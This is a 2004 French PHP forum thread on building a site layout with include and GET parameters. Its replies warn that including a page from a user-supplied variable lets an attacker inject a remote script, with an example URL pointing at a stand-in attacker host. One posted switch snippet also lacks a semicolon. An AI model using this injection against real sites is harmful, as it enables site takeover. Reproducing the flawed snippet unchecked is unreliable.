Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1433 connectés 

  FORUM HardWare.fr
  Programmation
  PHP

  prob très simple - include en php

 


 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

prob très simple - include en php

n°635007
tty0
Posté le 08-02-2004 à 11:21:07  profilanswer
 

Salut tout le monde,
 
Je suis en train de travailler sur un site en php/html. Pour le moment, dans chaque page il ya un haut+menu, un milieu et un bas. Or le souci, c'est que la page est + lente à charger et j'aimerai créer des frames avec include. Donc je crée un index.php qui include un haut.html (qui contient le menu) et un bas.html. Tout ca ca marche pour le moment, sur mon nouvel index j'obtiens le haut et le bas. Par contre, au centre j'aimerai que s'affiche la page qui change au click du menu. Donc je crée un fichier centre.html, mais je ne sais pas quoi y mettre à l'interieur, sachant qu'il doit appeler acceuil.html, contact.html... etc... Voilà si quelqu'un sait ca m'aiderai beaucoup, je repasserai + tard. Merci d'avance. ++

mood
Publicité
Posté le 08-02-2004 à 11:21:07  profilanswer
 

n°635040
Hermes le ​Messager
Breton Quiétiste
Posté le 08-02-2004 à 13:10:40  profilanswer
 

1) C'est plusieurs fichiers en .php que tu dois créer (exemple : accueil.php, contact.php etc...)
 
2) Tu fais des liens dans ton menu en haut ou tu passes un paramètre comme ceci :
 

Code :
  1. tonlien.php?variable=accueil
  2. tonlien.php?variable=contact
  3. etc...


 
Dans ta page index.php, à l'endroit ou tu dois afficher le centre :
 
Tu récupères ta variable passée en paramètre dans les liens :
 

Code :
  1. $variable = $_GET['variable'];


 
Puis, tu testes la valeur de cette variable et tu "inclues" la bonne page en fonction du résultat.
 

Code :
  1. if ($variable == "accueil" ){include"accueil.php"; }
  2. else if ($variable == "contact" ){include"contact.php"; }
  3. etc...


 
Bon voilà, je t'ai aidé parce qu'on est dimanche, mais sache qu'une question aussi basique que celle-là a été traitée ici des milliers de fois. Donc la prochaine fois, recherche  sur le forum. Et sinon, tu as des tutoriaux pour ce genre de choses complêtement basiques ici : http://www.phpdebutant.org


Message édité par Hermes le Messager le 08-02-2004 à 13:11:40
n°635229
jagstang
Pa Capona ಠ_ಠ
Posté le 08-02-2004 à 17:29:11  profilanswer
 

Citation :

Bon voilà, je t'ai aidé parce qu'on est dimanche,


 
Ah c'est pour ça. je me disais aussi... :o


Message édité par jagstang le 08-02-2004 à 17:30:46

---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
n°635239
tty0
Posté le 08-02-2004 à 17:46:59  profilanswer
 

Merci pour ta réponse je vais tester. J'ai chercher sur le net juste avant de demander mais g rien trouvé qui marchait bien. Je v tester. Bon dimanche encore merci ++

n°635597
Profil sup​primé
Posté le 09-02-2004 à 02:27:32  answer
 

hermes le messager a écrit :


Puis, tu testes la valeur de cette variable et tu "inclues" la bonne page en fonction du résultat.
 

Code :
  1. if ($variable == "accueil" ){include"accueil.php"; }
  2. else if ($variable == "contact" ){include"contact.php"; }
  3. etc...


 


t'as pas plus horrible ?
 

Code :
  1. switch ($variable) {
  2.   case "accueil":
  3.     include "accueil.php";
  4.     break;
  5.   case "contact":
  6.     include "contact.php";
  7.     break;
  8.   case "foo":
  9.     include "foo.php";
  10.     break;
  11.   default:
  12.    echo "Fichier incorrect"
  13.    break;
  14. }

n°635701
Hermes le ​Messager
Breton Quiétiste
Posté le 09-02-2004 à 10:43:37  profilanswer
 

spike a écrit :


t'as pas plus horrible ?
 

Code :
  1. switch ($variable) {
  2.   case "accueil":
  3.     include "accueil.php";
  4.     break;
  5.   case "contact":
  6.     include "contact.php";
  7.     break;
  8.   case "foo":
  9.     include "foo.php";
  10.     break;
  11.   default:
  12.    echo "Fichier incorrect"
  13.    break;
  14. }




 
Pour un débutant, le "if" est mieux, car plus clair.
 
De plus au niveau perf, il est maintenant démontré qu'il n'y a pratiquement aucune différence.

n°635794
Profil sup​primé
Posté le 09-02-2004 à 12:09:20  answer
 

hermes le messager a écrit :


 
Pour un débutant, le "if" est mieux, car plus clair.
 
De plus au niveau perf, il est maintenant démontré qu'il n'y a pratiquement aucune différence.


certes mais le switch reste plus compréhensible niveau lecture et plus aisé à utiliser pour la maintenance du code

n°635849
maf2013
-Le Joueur-
Posté le 09-02-2004 à 13:00:26  profilanswer
 

je ne comprends pas pourquoi vous n'utilisez pas <a href="" target="">, ça fait une frame de trop?


Message édité par maf2013 le 09-02-2004 à 13:03:10
n°636385
Profil sup​primé
Posté le 09-02-2004 à 19:44:23  answer
 

^_^ tu veux qu'on débate sur la pourravicité des frame ? entre les navigateurs qui les supportent pas, les bots des moteurs de recherches qui s'y perdent, l'horreur graphique, les visiteurs qui arrivent par un bout du menu bas droit, la lourdeur de l'affichage et l'augmentation du temps de chargement o_O ... y'en a à dire =)

n°636462
maf2013
-Le Joueur-
Posté le 09-02-2004 à 21:03:13  profilanswer
 

ok, n'hesitez pas à me montrer un exemple avec les includes parce que là, je pige rien du tout aux avantages qu'on puisse en tirer.

mood
Publicité
Posté le 09-02-2004 à 21:03:13  profilanswer
 

n°642847
jagstang
Pa Capona ಠ_ಠ
Posté le 14-02-2004 à 18:52:40  profilanswer
 

maf2013 a écrit :

ok, n'hesitez pas à me montrer un exemple avec les includes parce que là, je pige rien du tout aux avantages qu'on puisse en tirer.


 
ça devrait répondre à ta question :  
 
http://openweb.eu.org/articles/finir_cadres/
 


---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
n°642874
gizmo
Posté le 14-02-2004 à 19:50:48  profilanswer
 

Hermes le Messager a écrit :


 
Pour un débutant, le "if" est mieux, car plus clair.
 
De plus au niveau perf, il est maintenant démontré qu'il n'y a pratiquement aucune différence.


 
En fait, le switch serait plutôt plus lent pour une telle utilisation.

n°642880
jagstang
Pa Capona ಠ_ಠ
Posté le 14-02-2004 à 19:58:04  profilanswer
 

ouais bon on parle de PHP là. parlons pas d'optimisation entre if/switch à ce niveau là...


---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
n°642893
tty0
Posté le 14-02-2004 à 20:28:25  profilanswer
 

Merci à tous pour vos réponses. Z'etes sympa de vous occuper de mon cas lool. Encore merci ++

n°642901
tty0
Posté le 14-02-2004 à 20:46:16  profilanswer
 

comment ca se fait que j'ai directement : FICHIER INCORRECT quand j'arrive sur la premiere page ou quand je cliqk sur ACCUEIL ?

n°642903
tty0
Posté le 14-02-2004 à 20:50:01  profilanswer
 

c bon le probleme est resolu merci pour toutes vos reponses ++

n°646141
guiotv2
Posté le 17-02-2004 à 23:05:40  profilanswer
 

JagStang a écrit :


ça devrait répondre à ta question :  
http://openweb.eu.org/articles/finir_cadres/


 
http://www.phpdebutant.org/article68.php
 
C'est un bon system pour un site ??

n°646983
jagstang
Pa Capona ಠ_ಠ
Posté le 18-02-2004 à 13:42:25  profilanswer
 

parfait oui


---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
n°647015
fabien
Vive la super 5 !
Posté le 18-02-2004 à 13:52:15  profilanswer
 

guiotv2 a écrit :


 
http://www.phpdebutant.org/article68.php
 
C'est un bon system pour un site ??

c le truc a pas faire si tu ne veux pas te faire hacker [:fear]
 
imagine que je mette dans la varible page=http://site_pirate.com/script_mechant
 
tu fera un include('http://site_pirate.com/script_mechant.php3');
 
et la je peux faire ce que je veux de ton site :)


Message édité par fabien le 18-02-2004 à 13:53:15

---------------
Découvre le HFRcoin ✈ - smilies
n°647063
guiotv2
Posté le 18-02-2004 à 14:17:40  profilanswer
 

fabien a écrit :

c le truc a pas faire si tu ne veux pas te faire hacker [:fear]
imagine que je mette dans la varible page=http://site_pirate.com/script_mechant
tu fera un include('http://site_pirate.com/script_mechant.php3');
et la je peux faire ce que je veux de ton site :)


 
Ok, je crois comprendre le problème. Comment y résoudre ?  :??:

n°647071
fabien
Vive la super 5 !
Posté le 18-02-2004 à 14:20:37  profilanswer
 

guiotv2 a écrit :


 
Ok, je crois comprendre le problème. Comment y résoudre ?  :??:  

tu peux interdire les "/" sinon tu declare les page une par une comme l'on te l'explique plus haut dans ce topic.


---------------
Découvre le HFRcoin ✈ - smilies
n°647084
guiotv2
Posté le 18-02-2004 à 14:29:40  profilanswer
 

Je suis débutant mais il me semble bien que dans l'artivcle 68 de phpdebutant il y a des if...  donc pas de possibilité de hacker de ta maniere... :??:

n°647117
fabien
Vive la super 5 !
Posté le 18-02-2004 à 14:40:39  profilanswer
 

guiotv2 a écrit :

Je suis débutant mais il me semble bien que dans l'artivcle 68 de phpdebutant il y a des if...  donc pas de possibilité de hacker de ta maniere... :??:

le if verifie seulement si la variable $page existe dans l'url.


---------------
Découvre le HFRcoin ✈ - smilies
n°647136
guiotv2
Posté le 18-02-2004 à 14:50:36  profilanswer
 

fabien a écrit :

le if verifie seulement si la variable $page existe dans l'url.


Ok... je crois comprendre. Merci ! il va falloir que je recommence alors...   :whistle:

n°647288
jagstang
Pa Capona ಠ_ಠ
Posté le 18-02-2004 à 15:34:12  profilanswer
 

fabien a écrit :

c le truc a pas faire si tu ne veux pas te faire hacker [:fear]
 
imagine que je mette dans la varible page=http://site_pirate.com/script_mechant
 
tu fera un include('http://site_pirate.com/script_mechant.php3');
 
et la je peux faire ce que je veux de ton site :)


dépend la configuration du serveur, il est impossible d'inclurer un fichier via http. alors faut pas être si catégorique. Surtout que la faille d'include est la faille la plus courante, elle est donc de plus en plus corrigé sur les serveurs.


---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
n°647690
fabien
Vive la super 5 !
Posté le 18-02-2004 à 19:51:55  profilanswer
 

JagStang a écrit :


dépend la configuration du serveur, il est impossible d'inclurer un fichier via http. alors faut pas être si catégorique. Surtout que la faille d'include est la faille la plus courante, elle est donc de plus en plus corrigé sur les serveurs.  

d'ou tu tiens ca ?
il y avait un site qui avait cette faille et j'ai reussi a inclure un fichier qui venait de mon serveur., donc par http.
 


---------------
Découvre le HFRcoin ✈ - smilies
n°650453
jagstang
Pa Capona ಠ_ಠ
Posté le 21-02-2004 à 03:48:16  profilanswer
 

b***el. tu sais lire ?
 
j'ai dis dépend la config. ça veut donc pas dire _TOUJOURS_
Pour info, la plupart des serveur sont mal configurés. donc...


Message édité par jagstang le 21-02-2004 à 03:48:43

---------------
What if I were smiling and running into your arms? Would you see then what I see now?  
n°650738
ratibus
Posté le 21-02-2004 à 20:49:54  profilanswer
 

par contre ce que tu inclus depuis un site distant c'est jamais le source mais l'interprétation par le serveur distant (normal ça passe en HTTP)

mood
Publicité
Posté le   profilanswer
 


Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Programmation
  PHP

  prob très simple - include en php

 

Sujets relatifs
regex : correspondance à une simple listeProb pour passer des parametres avec un formulaire
Include qui ne fonctionne pas ?[HTML] Prob sur site web pour projet ecole en iut geii
Quel différence entre Require() et Include() ?Include ne fonctionne pas, Problème PHP je pense « HELP
fonction mysql_num_fields probJavascript : Prob avec les roll-overs
Code C compilé sous Visual c++ 6 : prob de perfs...Prob avec la touche "entrée" pour formulaire PHP ou HTML ?
Plus de sujets relatifs à : prob très simple - include en php


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR